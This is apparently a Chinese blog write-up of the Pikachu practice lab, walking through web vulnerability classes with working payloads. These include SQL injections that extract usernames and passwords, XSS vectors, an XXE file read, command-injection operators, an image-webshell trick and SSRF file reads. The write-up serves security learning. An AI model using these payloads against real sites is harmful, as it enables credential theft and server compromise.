• pikachu靶场


    验证码绕过(on server)

    这种是对验证码只要页面不刷新,就可以一直进行密码,账号的尝试

    无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解

    测试:ctrl+r发送重发器,尝试修改

    验证码绕过(on client)

    发现本地审核元素的label标签,并且明显和在服务器的不一样,服务器是随机生成的在网站上的一个php网站加一些代码

    image-20210804191102672

    image-20210804191111850

    两种方法

    1

    爆破前直接删除vscode

    2

    直接爆破在intruder

    3

    直接删除label的审核标签

    toke的随机

    主要是选择pitchfork进行爆破

    token线程传递1

    因为自己的是专业版,没有低线程...

    在二的里面

    选择

    image-20210804215052026

    在GREP-Extract中获取响应包,从中提取参数

    image-20210804215203403

    img

    然后爆破

    dom的xss

    HTML DOM Node Tree

    就是先闭合href的利用onclick

    尝试

    ' onclick="alert(1)">
    

    或者

    # ' onclick =alert(1)>
    #是用来指导浏览器动作的,对服务器端完全无用, 客户端提交请求的时候, 不会将#后面的内容考虑进去
    

    单引号闭合href属性的双引号

    dom 2

    还是先闭合href

    跟上面的一样

    2

    也可以通过闭合然后图片滚动就显示

    ' > <img src="chenyouxiu" onmouseover="alert(1)">
    

    主要还是闭合href

    htmlspecialchars

    image-20210804230803055

    主要进行了转义

    &:转换为&amp;
    
    ":转换为&quot;
    
    ':转换为成为 '
    
    <:转换为&lt;
    
    >:转换为&gt;
    

    而且还对前面的进行了闭合>

    老样子

    先闭合'

    image-20210804231558575

    href输出

    用单引号,还是单引号,没有闭合

    输入发现是啥就是啥

    直接js代码

    image-20210804232556106

    xss弹窗之js

    直接闭合

    image-20210804233256582

    </script><script>alert(1)</script>
    

    CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏

    网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:

    对敏感信息的操作增加安全的token;
    对敏感信息的操作增加安全的验证码;
    对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等
    

    get型csrf

    直接通过连接进行修改

    post

    kali克隆网站项目

    sql post

    image-20210805145132801

    还是老方法

    sql get

    手打吧,回忆回忆,也不能一直依靠工具

    查看列注入发现报错

    image-20210805150206637

    进行正常闭合

    那就两列

    然后用联合看有效列回显

    1' union select 1,2#
    

    image-20210805150256138

    查看数据库和版本信息

    image-20210805150406189

    不是自己搭的网站,看到用乌班图搭的网站

    然后数据库为pikachu

    接着看表

    1' union select table_name,2 from information_schema.tables where table_schema='pikachu'#
    

    image-20210805150858434

    查看users的列,里面有用户

    1' union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'# 
    

    image-20210805151937444

    直接用户密码查看

    1' union select username,password from users#1' union select username,password from pikachu.users#
    

    image-20210805152119457

    md5解密即可

    搜索行注入

    花里胡哨

    和上面的一样,这个是4列

    提示说%%,自己感觉想sql里的模糊查询,就是不过滤,都显示出来了

    xx型入

    1’

    看报错信息

    image-20210805152850442

    通过闭合报错可知,这是一个括号里面的,类似(' xxx ')所以直接闭合后面的

    ') order by 2#输入三是报错的,接下来还是跟上面一样
    
    ') union select table_name,2 from information_schema.tables where table_schema='pikachu' #
    
    ') union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'#
    
    ') union select username,password from users#
    

    insert/update 注入

    因为注册信息发现是连着的

    尝试注入看信息

    image-20210805162856141

    根据抓包感觉数据库应该类似这种

    insert into (’xxx‘,xxx,xxx,xxx) value(‘xxx’,xxx,xxx,xxxx);
    

    难搞...

    根据闭合先闭合最后的value的赋值

    payload: 适用于字符型:
    ' or updatexml(1,concat(0x7e,(database())),0) or '
    Updatexml(a,Xpath,b) 在文档a中,查找 Xpath 格式的内容 替换 b内容
    适用于数字型:
    ' or extractvalue(1,concat(0x5e24,(database()))) or '
    concat的意思是对括号内的字符串进行连接,如果有null就返回null
    Updatexml(1,concat(0×7e,b)
    原理:
    当参数Xpath路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回
    

    然后对database()进行修改查询

    ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) or '
    

    image-20210805190114533

    数据最多只能有一列

    那就分割看

    group_concat

    这个其实一开始语法也不会,查了资料才明白
    group_concat就是默认的把前一相同字段的分别成行按照从小到大排列,然后用逗号隔开在默认情况下
    如果设置隔开方式,可以在group_concat添加separator ';'就是以;分开
    当然也可以limit来查看
    
    1
    ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or '
    2
    ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or '
    

    image-20210806094422221

    然后接着根据表看列

    ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users')),0) or '
    

    image-20210806094855027

    然后接着看id和passowrd

    ' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),0) or '
    

    一般用户是按照权限排序,多以第一个是admin,又因为感觉不好看,加个~来区分username和passwor

    也可以

    ' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),0) or '
    

    image-20210806100432862

    然后根据username对照

    delete注入

    尝试sqlmap

    点搞错了

    来想着是message

    然后删除时发现get请求和id注入点

    image-20210806101621389

    image-20210806101655448

    image-20210806101901362

    bp的方法

    bp发现记录ua和agent,尝试火狐模块更改ua

    报错

    image-20210806110314724

    与bp抓包数据对比闭合

    image-20210806110606941

    老样子闭合

    dddd

    盲注

    get嘛

    sqlmap

    时间盲注

    sqlmap会解决一切

    哈哈哈哈哈

    image-20210806111752932

    宽字节注入

    emm

    image-20210806113753871

    进行了转义

    image-20210806113810085

    空格用+,‘用%23,#用的是%23,都是在提交服务器是转移的,进行url的编码

    因此需要找不闭合的

    或者宽字节注入

    直接sqlmap

    sqlmap.py  -u "xxx?id=xx" --tamper unmagicquotes.py --dbs
    

    使用了脚本

    这样还不行,要把等级测试跳到3,才行,因为1太基本了扫描

    image-20210806115210822

    工具了

    该手了,不会

    RCE

    让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台

    ping

    利用管道符,类似dvwa

    image-20210806173057610

    win
    | 
    管道符,前面命令标准输出,后面命令的标准输入
    &
    先运行命令A然后运行命令B
    ||
    运行命令A,如果失败则运行命令B
    &&
    运行命令A,如果成功则运行命令B
    

    eval

    image-20210806173519500

    最基本的eval函数调用的phpinfo();

    文件包含漏洞

    在各种开发语言中都提供了内置的文件包含函数,一个代码文件中直接包含(引入)另外一个代码文件

    include(),include_once()
    require(),require_once()

    require 会生成致命错误并停止脚本

    include 只会生成警告,并继续脚本

    linux的根目录的/etc/passwd

    本地文件包含漏洞

    仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的

    更多的会包含一些固定的系统配置文件,从而读取系统敏感信息

    远程文件包含漏洞

    通过url地址对远程的文件进行包含

    当然就是file拉

    本地

    就一直向上翻

    2333

    远程

    可以利用远程包含漏洞,将自己服务器上的文件下载到被人的服务器上

    开启自己的网站根目录添加文件,远程访问

    防范策略

    白名单上传类型

    更新iis服务器,防止图片解析

    尽量不要将文件包含函数对应的文件放给前端进行选择和操作

    配置php.ini配置文件:

    allow_url_fopen = off url文件包含

    allow_url_include=off url 的include包含

    magic_quotes_gpc=on 魔术引号的开启

    不安全下载

    抓包

    指定访问下载

    image-20210806180803198

    image-20210806180900437

    文件上传漏洞

    基本的

    --验证文件类型、后缀名、大小;
    --验证文件的上传方式;
    --对文件进行一定复杂的重命名;
    --不要暴露文件上传后的路径;
    

    客户端

    上传php被拦截

    本地的

    去掉验证函数就行了

    服务端

    上传改类型

    还有一种

    文件验证

    自己用的c32改的

    对文件的大小和类型进行了限制

    让我想起了最近的上传的一个,但是权限只有只读...

    或者cmd

    copy /b 图片 + php文件  新生成的图片
    

    这个需要文件包含漏洞

    image-20210806210423917

    如果不使用文件包含,会只显示图片

    越权

    如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。

    越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

    在在权限管理中应该遵守:

                        1.使用最小权限原则对用户进行赋权;
                        2.使用合理(严格)的权限校验规则;
                        3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
    

    水平越权

    看地址改,就行

    垂直越权

    直接根据cookie来

    目录遍历

    直接dir的目录

    敏感信息泄露概述

    ---通过访问url下的目录,可以直接列出目录下的文件列表;
    --输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
    --前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
    类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。

    因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

    上一个就是第一个的问题,直接列出目录下的文件列表

    前端源码的污染,就像最近的qq邮箱的js参数的前端的alert(1)

    find abc

    审核元素

    PHP反序列化

    序列化serialize()

    把一个对象变成可以传输的字符串

        class S{
            public $test="pikachu";
        }
        $s=new S(); //创建一个对象
        serialize($s); //把这个对象进行序列化
        序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
            O:代表object
            1:代表对象名字长度为一个字符
            S:对象的名称
            1:代表对象里面有一个变量
            s:数据类型
            4:变量名称的长度
            test:变量名称
            s:数据类型
            7:变量值的长度
            pikachu:变量值
    

    反序列化unserialize()

        $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
        echo $u->test; //得到的结果为pikachu
    

    如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

    根据代码

    直接提交

    O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
    

    xxe

    xml外部实体注入漏洞

    攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题

    服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入

    之前听过这个类似的课的相关的,但这个漏洞基本上

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY f SYSTEM "file:///C://ip.txt">//这个是的文件的内容
    ]>
    <x>&f;</x>
    

    url重定向

    懂得都懂dddd

    ssrf

    PHP中下面函数的使用不当会导致SSRF:
    file_get_contents()
    fsockopen()
    curl_exec()  
    

    curl

    curl_exec :执行一个cURL会话。

    这一题可以简单地理解为一种内网探测

    host文件获取

    file://c:windowssystem32driversetchosts
    

    web指纹识别

    http://localhost/phpmyadmin/readme
    

    file_get_contents()

    把整个文件读入一个字符串中

    可以对本地和远程的文件进行读取

    跟上面的差不多

    做了不到两天,还是很菜,下次会把这个的代码看了再理解一遍

    别人都在不停的努力,自己又怎么会停
  • 相关阅读:
    Unity Shader入门精要之 screen post-processing effect
    Unity---关于游戏小包的记录
    计算机基础补充之原码、反码、补码
    C#接口实现技巧之借助第三方
    lua中产生 1
    游戏文本本地化(一)
    xlua修复C#的委托事件的时候,需要提前做好配置
    xlua 实现协程替换Unity中的协程
    C#定义只能处理枚举类型的泛型类型
    C# : 泛型的继承关系实现的一个可以存放不同数据类型的链表
  • 原文地址:https://www.cnblogs.com/chenyouxiu/p/15112556.html
Copyright © 2020-2023  润新知